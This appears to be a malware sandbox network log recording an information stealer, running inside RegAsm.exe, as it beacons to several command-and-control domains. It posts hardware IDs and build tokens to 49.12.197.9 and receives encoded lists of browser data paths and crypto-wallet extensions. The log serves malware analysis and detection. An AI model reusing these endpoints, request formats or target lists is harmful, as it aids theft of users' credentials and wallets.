2024-10-02 15:17:34 UTC	255	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 35 33 35 32 44 45 37 34 33 39 37 38 36 32 35 34 35 31 33 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 2d 2d 0d 0a Data Ascii: ------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="hwid"685352DE7439786254513-a33c7340-61ca------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------KJJJKFIIIJJJECAAEHDB--
2024-10-02 15:17:35 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:35 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 34 63 61 65 65 64 31 61 39 63 38 38 61 37 66 65 65 33 62 30 31 62 33 61 36 62 39 64 33 37 62 30 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|4caeed1a9c88a7fee3b01b3a6b9d37b0\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	65291	104.21.18.193	443	4208	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:35 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: snarlypagowo.site
2024-10-02 15:17:35 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 15:17:36 UTC	776	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9e3g2dpbopc5bk28pdrl3lfvtq; expires=Sun, 26 Jan 2025 09:04:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qcI1c3LX5eAnk1emCZCCRWHEV%2FPIpQp%2FvdRtmzxqLVqKxy%2ByJ3L7ZJAiYETJuRywlLRgqoqIk344W27EGXBqN9OUJjUG5xaSghHhQszxZFnKTbazh74l0PXJN91go%2FIQtLXZ9A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc5a903db1b7c93-EWR
2024-10-02 15:17:36 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 15:17:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	65292	49.12.197.9	443	6688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:36 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDBAEHIJKKFHIEGCBG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:36 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 61 65 65 64 31 61 39 63 38 38 61 37 66 65 65 33 62 30 31 62 33 61 36 62 39 64 33 37 62 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 Data Ascii: ------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="token"4caeed1a9c88a7fee3b01b3a6b9d37b0------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------ECGDBAEHIJKKFHIEGCBGCont
2024-10-02 15:17:36 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:36 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	65293	104.21.21.3	443	4208	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:36 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mysterisop.site
2024-10-02 15:17:36 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 15:17:37 UTC	766	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1ejbljmp54fr27eh4dhv7v53kt; expires=Sun, 26 Jan 2025 09:04:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fnun4S8mTQI41YSUUwfqrbDeOlkVjKodsLMWukC700zCK8oie3NUtyDloj0DzG8LCUjtz5rV6GaLgTYsMjfds2no1L%2Fxeltginlc4AsST3ebeEhoPeX8SdGQ1mBUbN3jjX8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc5a90a18841988-EWR
2024-10-02 15:17:37 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 15:17:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	65294	49.12.197.9	443	6688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:37 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHCGCGCFHIDBFHIIJKJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:37 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 61 65 65 64 31 61 39 63 38 38 61 37 66 65 65 33 62 30 31 62 33 61 36 62 39 64 33 37 62 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 Data Ascii: ------KEHCGCGCFHIDBFHIIJKJContent-Disposition: form-data; name="token"4caeed1a9c88a7fee3b01b3a6b9d37b0------KEHCGCGCFHIDBFHIIJKJContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------KEHCGCGCFHIDBFHIIJKJCont
2024-10-02 15:17:38 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:38 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	65295	172.67.177.186	443	4208	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:37 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: absorptioniw.site
2024-10-02 15:17:37 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 15:17:38 UTC	774	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4srgq06fr4j6vkkftev9ldkhcd; expires=Sun, 26 Jan 2025 09:04:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HCSshp5ykj0hlvwE8VAKrtdnOyxF3RmIJJnJQe33gevdNTwiggtpYoD97F0TjcO9YByxjsEriTPYvyIC0Wa%2F%2BfFTn5RA539TFHRBDlsMzRJsa68%2FXJzIWmr1BTR0wsVYCn9W3A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc5a90ff97a4303-EWR
2024-10-02 15:17:38 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 15:17:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	65296	49.12.197.9	443	6688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:39 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBFBGCGIJKJJKFIDBFC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:39 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 61 65 65 64 31 61 39 63 38 38 61 37 66 65 65 33 62 30 31 62 33 61 36 62 39 64 33 37 62 30 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 0d 0a 43 6f 6e 74 Data Ascii: ------GCBFBGCGIJKJJKFIDBFCContent-Disposition: form-data; name="token"4caeed1a9c88a7fee3b01b3a6b9d37b0------GCBFBGCGIJKJJKFIDBFCContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------GCBFBGCGIJKJJKFIDBFCCont
2024-10-02 15:17:40 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:40 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	65297	104.102.49.254	443	4208	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:39 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-02 15:17:39 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 02 Oct 2024 15:17:39 GMT Content-Length: 34837 Connection: close Set-Cookie: sessionid=fa2419af4b3c57c8bea660d1; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-02 15:17:39 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-02 15:17:40 UTC	16384	IN	Data Raw: 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f Data Ascii: <script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#glo
2024-10-02 15:17:40 UTC	3768	IN	Data Raw: 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 73 75 6d 6d 61 72 79 5f 66 6f 6f 74 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: <div class="profile_summary_footer"><span data-panel="{"focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function()
2024-10-02 15:17:40 UTC	171	IN	Data Raw: 09 3c 73 70 61 6e 3e 56 69 65 77 20 6d 6f 62 69 6c 65 20 77 65 62 73 69 74 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 0d 0a 09 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <span>View mobile website</span></div></div></div></div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	65298	104.21.16.12	443	4208	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:40 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: gravvitywio.store
2024-10-02 15:17:40 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 15:17:41 UTC	776	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kbu6cl304vor3ad7j6cs3gh9fd; expires=Sun, 26 Jan 2025 09:04:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gjHMsyjScklW0ydttI4%2FhA2NtzuD1RdFIXKtOlOcOI05zTkCS%2BUqxctLjv76l6GW6ZvIQOTiGdUYEIn62hhRokYDS5%2F8Wd%2FLS3mlQCauZ1yjvKzh7j1IPf2jS6rGK68U98zulg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc5a920ae5a5e68-EWR
2024-10-02 15:17:41 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 15:17:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	65299	49.12.197.9	443	6688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:41 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIDGCFHIEHJJJJECAK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 5961 Connection: Keep-Alive Cache-Control: no-cache
